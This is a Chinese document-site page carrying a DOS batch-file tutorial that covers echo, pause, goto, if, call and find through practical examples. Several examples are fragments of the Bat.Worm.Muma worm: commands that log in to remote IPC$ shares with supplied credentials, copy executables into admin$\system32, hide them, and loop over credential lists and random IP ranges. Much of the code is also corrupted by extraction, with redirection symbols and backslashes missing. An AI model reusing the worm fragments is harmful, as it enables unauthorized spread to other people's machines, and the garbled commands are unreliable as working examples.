ImageVerifierCode 换一换
格式:DOCX , 页数:24 ,大小:31.78KB ,
资源ID:9451370      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bdocx.com/down/9451370.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(DOS批处理操作总结.docx)为本站会员(b****7)主动上传,冰豆网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰豆网(发送邮件至service@bdocx.com或直接QQ联系客服),我们立即给予删除!

DOS批处理操作总结.docx

1、DOS批处理操作总结DOS批处理操作总结DOS批处理的本质,是一堆DOS命令按一定顺序排列而形成的集合。批处理,也称为批处理脚本,英文译为BATCH,批处理文件后缀BAT就取的前三个字母。它的构成没有固定格式,只要遵守以下这条就行了:每一行可视为一个命令,每个命令里可以含多条子命令,从第一行开始执行,直到最后一行结束,它运行的平台是DOS。批处理有一个很鲜明的特点:使用方便、灵活,功能强大,自动化程度高。下面用很多简单实用的例子让读这篇教程的朋友去体会批处理的那四射的魅力,要学好批处理,DOS基础一定要牢!例一、先给出一个最简单的批处理脚本,将下面的几行命令保存为name.bat然后执行(以后

2、文中只给出代码,保存和执行方式类似):ping a.txtping a.txtping a.txtping a.txtping a.txtping a.txtping a.txtping a.txtexit它是很实用的,执行这个批处理后,可以在你的当前盘建立一个名为a.txt的文件,它里面记录的信息可以帮助你迅速找到速度最快的QQ服务器,从而远离从服务器中转那一痛苦的过程。这里的意思,是把前面命令得到的东西放到后面所给的地方,的作用和的相同,区别是把结果追加到前一行得出的结果的后面,具体的说是下一行,而前面一行命令得出的结果将保留,这样可以使这个a.txt文件越来越大(想到如何搞破坏了?)。这

3、个批处理还可以和其他命令结合,搞成完全自动化判断服务器速度的东西,执行后直接显示速度最快的服务器IP,是不是很有趣?后面还将详细介绍。例二、再给出一个已经过时的例子(a.bat):echo offif exist C:Progra1TencentAD*.gif del C:Progra1TencentAD*.gifa.bat 为什么说这是个过时的例子呢?因为现在已经几乎没有人用带广告的QQ了,所以它几乎用不上了。但曾经它的作用是不可小窥的:删除QQ的广告,让对话框干干净净。这里用的地址是QQ的默认安装地址,默认批处理文件名为a.bat,你当然可以根据情况自行修改。在这个脚本中使用了if命令,使

4、得它可以达到适时判断和删除广告图片的效果,你只需要不关闭命令执行后的DOS窗口,不按CTRL+C强行终止命令,它就一直监视是否有广告图片(QQ也再不断查看自己的广告是否被删除)。当然这个脚本占用你一些内存。例三,使用批处理脚本查是否中冰河。脚本内容如下:echo offnetstat -a -n a.txttype a.txt | find 7626 & echo Congratulations! You have infected GLACIER!del a.txtpause & exit 这里利用了netstat命令,检查所有的网络端口状态,只需要你清楚常见木马所使用的端口,就能很easy

5、的判断出来是否被人种了冰河。然这不是确定的,因为冰河默认的端口7626,完全可以被人修改。这里介绍的只是方法和思路。这里介绍的是方法和思路稍做改动,就变成可以检查其他木马的脚本了,再改动一下,加进去参数和端口及信息列表文件后,就变成自动检测所有木马的脚本了。是不是很过瘾?脚本中还利用了组合命令&和管道命令|,后面将详细介绍。例四,借批处理自动清除系统垃圾,脚本如下:echo offif exist c:windowstemp*.* del c:windowstemp*.*if exist c:windowsTempor1*.* del c:windowsTempor1*.*if exist c

6、:windowsHistory*.* del c:windowsHistory*.*if exist c:windowsrecent*.* del c:windowsrecent*.* 将以上脚本内容保存到autoexec.bat里,每次开机时就把系统垃圾给自动删除了。这里需要注意两点:一、DOS不支持长文件名,所以就出现了Tempor1这个东西;二、可根据自己的实际情况进行改动,使其符合自己的要求。看过第一章的朋友,一定对批处理有了初步的印象,知道它到底是用来干什么的了。但你知道运用批处理的精髓在哪里吗?其实很简单:思路要灵活!没有做不到的,只有想不到的。批处理看起来杂乱无章,但它的逻辑性之

7、强,绝对不比其他程序语言(如汇编)低,如果你写的脚本是一堆乱麻,虽然每一行命令都正确,但从头执行到尾后,不一定得到你想要的结果,也许是屏幕的Bad command or fail name。屏幕是这么显示的:你的输入不是内部或外部命令,也不是可运行的程序或批处理文件。然后就是光标不停闪动,等待这下一次错误的输入。从这一章开始,将由浅入深的介绍批处理中常用的命令,很多常见DOS命令在批处理脚本中有这广泛的应用,它们是批处理脚本的BODY部分,但批处理比DOS更灵活多样,更具备自动化。要学好批处理,DOS一定要有比较扎实的基础。这里只讲述一些比较少用(相对来说)的DOS命令,常用命令如COPY、D

8、IR等就不做介绍了(这些看似简单的命令实际复杂的很!)。例五,先看一个实例。这是一个很有意思的脚本,把批处理自动化的特点体现的淋漓尽致。先介绍一下这个脚本的来历:大家都知道汇编程序(MASM)的上机过程,先要对源代码进行汇编、连接,然后再执行,而这中间有很多环节需要输入很多东西,麻烦的很。如何使这个过程变的简单呢?参看以下脚本,内容:echo off:close echocls:clean screenecho This programme is to make the MASM programme automate:display infoecho Edit by CODERED:displ

9、ay infoecho Mailto me : qqkiller*:display infoif %1= goto usage:if input without paramater goto usageif %1=/? goto usage:if paramater is /? goto usageif %1=help goto usage:if paramater is help goto usagepause:pause to see usagemasm %1.asm:assemble the .asm codeif errorlevel 1 pause & edit %1.asm:if

10、error pause to see error msg and edit the codelink %1.obj & %1:else link the .obj file and execute the .exe file:usage:set usageecho Usage: This BAT file name asm file nameecho Default BAT file name is START.BAT:display usage 先不要被这一堆的东西给吓住了,静下心来仔细的看。已经给出了每一行命令的解释,两个冒号后面的内容为前一行内容解释的意思,在脚本执行时不显示,也不起任何

11、作用。倒数第5行行首有一个冒号,可不是笔误!具体作用后面会详细讲到。此脚本中masm和link是汇编程序和连接程序,必须和edit程序以及你要编辑的源代码(当然还有这个脚本)一起在当前目录中。使用这个批处理脚本,可以最大可能的减少手工输入,整个过程中只需要按几下回车键,即可实现从汇编源代码到可执行exe文件的自动化转换,并具备智能判断功能:如果汇编时源代码出现错误(汇编不成功),则自动暂停显示错误信息,并在按任意键后自动进入编辑源代码界面;如果源代码汇编成功,则进行连接,并在连接后自动执行生成的exe文件。另外,由于批处理命令的简单性和灵活性,这个脚本还具备良好的可改进性,简单进行修改就可以符

12、合不同朋友的上机习惯。正在学汇编的朋友,一定要实践一下!在这个脚本中出现了如下几个命令:、echo、:、pause、:和goto、%以及if。而这一章就将讲述这几个命令。1、 这个符号大家都不陌生,它的作用是让执行窗口中不显示它后面这一行的命令本身。通俗一点说,行首有了它的话,这一行的命令就不显示了。在例五中,首行的echo off中,的作用就是让脚本在执行时不显示后面的echo off部分。看完echo命令简介,自然就非常明了了。2、echo 中文为反馈、回显的意思。它其实是一个开关命令,就是说它只有两种状态:打开和关闭。于是就有了echo on和echo off两个命令了。直接执行echo

13、命令将显示当前echo命令状态(off或on)执行echo off将关闭回显,它后面的所有命令都不显示命令本身,只显示执行后的结果,除非执行echo on命令。在例五中,首行的命令和echo off命令联合起来,达到了两个目的:不显示echo off命令本身,不显示以后各行中的命令本身。echo命令的另一种用法,一:可以用它来显示信息!如例五中倒数第二行,Default BAT file name is START.BAT将在脚本执行后的窗口中显示,而echo命令本身不显示(?)二:可以直接编辑文本文件。例六:echo nbtstat -A 192.168.0.1 a.batecho nbts

14、tat -A 192.168.0.2 a.batecho nbtstat -A 192.168.0.3 a.bat以上脚本内容的编辑方法是,直接是命令行输入,每行一回车。最后就会在当前目录下生成一个a.bat的文件,直接执行就会得到结果。3、: 这个命令的作用很简单,它是注释命令,在批处理脚本中和rem命令等效。它后面的内容在执行时不显示,也不起任何作用,因为它只是注释,只是增加了脚本的可读性,和C语言中的/*.*/类似。地球人都能看懂,就不多说了。4、pause 中文为暂停的意思,我一直认为它是批处理中最简单的一个命令,单纯、实用。它的作用,是让当前程序进程暂停一下,并显示一行信息:请按任意

15、键继续. . .。在例五中这个命令运用了两次,第一次的作用是让使用者看清楚程序信息,第二个是显示错误的汇编代码信息(其实不是它想显示,而是masm程序在显示错误信息时被暂它停了,以便让你看清楚你的源代码错在哪里)。5、:和goto 为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是标签名称)。不难看出,goto命令就是根据这个冒号和标签名

16、称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五。goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:.goto end.:end这里:end在脚本最后一行。6、% 这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。例七:net use %1ipc$ %3 /u:%2copy 11.BAT %1admin$

17、system32 /ycopy 13.BAT %1admin$system32 /ycopy ipc2.BAT %1admin$system32 /ycopy NWZI.EXE %1admin$system32 /yattrib %1admin$system32_.bat -r -h -s以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 .。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个

18、参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能,就是一个DOS命令的集合而已。第三章7、if

19、 该命令是一个表示判断的命令,根据得出的每一个结果,它都可以对应一个相应的操作。关于它的三种用法,在这里分开讲。(1)、输入判断。还是用例五里面的那几句吧:if %1= goto usageif %1=/? goto usageif %1=help goto usage 这里判断输入的参数情况,如果参数为空(无参数),则跳转到usage;如果参数为/?或help时,也跳转到usage。这里还可以用否定形式来表示不等于,例如:if not %1= goto usage,则表示如果输入参数不为空就跳转到usage(实际中这样做就没意义了,这里介绍用法,管不了那么多了)是不是很简单?其实翻译成中文体

20、会一下就understand了。(2)、存在判断。再看例二里这句:if exist C:Progra1TencentAD*.gif del C:Progra1TencentAD*.gif 如果存在那些gif文件,就删除这些文件。当然还有例四,都是一样的道理。注意这里的条件判断是判断存在的,当然也可以判断不存在的,例如下面这句如果不存在那些gif文件则退出脚本:if not exist C:Progra1TencentAD*.gif exit。只是多一个not来表示否定而已。(3)、结果判断。还是拿例五分析:masm %1.asmif errorlevel 1 pause & edit %1.a

21、smlink %1.obj 先对源代码进行汇编,如果失败则暂停显示错误信息,并在按任意键后自动进入编辑界面,否则用link程序连接生成的obj文件。这里只介绍一下和if命令有关的地方,&命令后面会讲到。这种用法是先判断前一个命令执行后的返回码(也叫错误码,DOS程序在运行完后都有返回码),如果和定义的错误码符合(这里定义的错误码为1),则执行相应的操作(这里相应的操作为pause & edit %1.asm部分)。另外和其他两种用法一样,这种用法也可以表示否定。用否定的形式仍表达上面三句的意思,代码变为:masm %1.asmif not errorlevel 1 link %1.objpau

22、se & edit %1.asm 其实只是把结果判断后所执行的命令互换了一下,if not errorlevel 1和if errorlevel 0的效果是等效的,都表示上一句masm命令执行成功(因为它是错误判断,而且返回码为0,0就表示否定,就是说这个错误不存在,就是说masm执行成功)。这里是否加not,错误码到底用0还是1,是值得考虑的两个问题,一旦搭配不成功脚本就肯定出错,所以一定要体会的很深刻才行。后面介绍管道命令和组合命令时还有更麻烦的呢!怕了?呵呵。),这样从执行的结果中就能很清楚的看出这两种情况的区别。这种用errorlevel结果判断的用法是if命令最难的用法,但也恰恰是最

23、有用的用法,如果你不会用errorlevel来判断返回码,则要达到相同的效果,必须用else来表示否则的操作,是比较麻烦的。以上代码必须变成:masm %1.asmif exist %1.obj link %1.objelse pause & edit %1.asm关于if命令的这三种用法就讲到这里,理解很简单,但应用时就不一定用的那么得心应手,主要是熟练程度的问题。IF NOT ERRORLEVEL number do commandIF NOT string1=string2 do commandIF NOT EXIST filename do command8、call 在批处理脚本中,

24、call命令用来从一个批处理脚本中调用另一个批处理脚本。看例八(默认的三个脚本文件名分别为start.bat、10.bat和ipc.bat):start.bat:.CALL 10.BAT 0.10.bat:.ECHO %IPA%.%1 HFIND.TMP.CALL ipc.bat IPCFind.txtipc.bat:for /f tokens=1,2,3 delims= %i in (%1) do call HACK.bat %i %j %k 从上面两个脚本,你可以得到如下信息:1、脚本调用可以灵活运用,循环运用、重复运用。2、脚本调用可以使用参数!关于第一点就不多说了,这里说一下第二点:在

25、start.bat中,10.bat后面跟了参数0,在执行时的效果,其实就是把10.bat里的参数%1用0代替。在start.bat中,ipc.bat后面跟了参数ipcfind.txt(一个文件,也可以做参数),执行时的效果,就是用ipc.bat中的每一行的三个变量(这里不懂没关系,学过for命令后就懂了),对应代换ipc.bat中的%i、%j和%k。这里参数调用是非常灵活的,使用时需要好好体会。在初学期间,可以先学习只调用脚本,至于连脚本的参数一起使用的情况,在后面的学习中自然就会有比较深刻的理解,这是因为当你已经可以灵活运用批处理脚本后,如何使代码写的更精简更完美更高效就自然包括到了考虑的范

26、围,这时候你就会发现在调用脚本时直接加入参数,可以使代码效率加倍。上面的这几个脚本,都是Bat.Worm.Muma病毒的一部分,在后面的教程里,大家将有机会见到这个病毒的真面目。那是不是说,在同一个目录下至少存在两个批处理脚本文件(只有一个你调用谁?)?呵呵,注意了,这句话错了!只有一个照样可以调用-调用自身!如下例:例九(默认脚本文件名a.bat):net send %1 This is a call example.call a.bat 这里call a.bat的作用就是调用自身,执行完前一句net send命令后再调用自身,达到了循环执行的目的。下面给出一个很有意思的脚本,有兴趣的朋友可

27、以实验一下。例十(默认脚本文件名为a.bat):call a.bat 一定要在DOS窗口下执行,否则只会看到一个窗口一闪而过,看不到最后结果。9、find 这是一个搜索命令,用来在文件中搜索特定字符串,通常也作为条件判断的铺垫程序。这个命令单独使用的情况在批处理中是比较少见的,因为没什么实际意义。还是借例三来说明:echo offnetstat -a -n a.txttype a.txt | find 7626 & echo Congratulations! You have infected GLACIER!del a.txtpause & exit先用netstat命令检查是否有冰河默认的

28、端口7626在活动,并把结果保存到a.txt中。然后使用type命令列出a.txt中的内容,再在列出的内容中搜索字符串7626,发现有的话则提示中了冰河,否则退出。看,find命令其实就这么简单,但有一点必须要注意到:如果不使用type命令列出a.txt中的内容,而是直接使用find命令在a.txt中找7626(find a.txt 7626 & echo Congratulations! You have infected GLACIER!),就必须得给出这个a.txt的绝对路径(我试过了,find并没有默认路径就是当前路径的功能,必须手动指定。也许是我错了,欢迎指正)。因为在find命令的

29、帮助里有这么一句话:如果没有指定路径,find将搜索键入的或者由另一个命令产生的文字。这里的另一个命令自然就指的type命令了。至于find命令的其他几个参数如v、n、i等,有兴趣的朋友自己去研究吧,这已经属于DOS学习的内容了,这里就不做介绍。关于find命令和其他命令的一些更精妙的用法,后续的教程中将介绍10、for、set、shift 我是从研究Bat.Worm.Muma病毒开始学习的,时间过去了不少,但还是没完全搞明白,我怕讲出来连自己都看不懂,我更怕不小心讲错了成了罪人。所以我给出一个脚本去告诉你,如何让这两个命令给自己留一个初步的印象,其实也就是这两个命令的入门,而并不是说如何领会

30、这两个命令。例十一:echo offfor /? for.txtset /? set.txtshift /? shift.txtexit执行后在当前路径下就生成for.txt、set.txt和shift.txt三个文件,里面分别记录了for命令、set命令和shift命令的帮助信息。例十二:START.BAT:CALL MUMA.BATSET IPA=192.168CALL 10.BAT 0:NEARAGAINnetstat -n|find : A.TMPFOR /F tokens=7,8,9,10,12 delims=.: %I IN (A.TMP) DO SET NUM1=%I& SET NUM2=%J& SET NUM3=%K& SET NUM4=%L& SET NUM5=%M& CALL NEAR.BAT:STARTCALL RANDOM.BATIF %NUM1%=255 GOTO NEARAGAINIF %NUM1%=192 GOTO NEARAGAINIF %NUM1%=127 GOTO NEARAGAINIF %NUM2%=

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1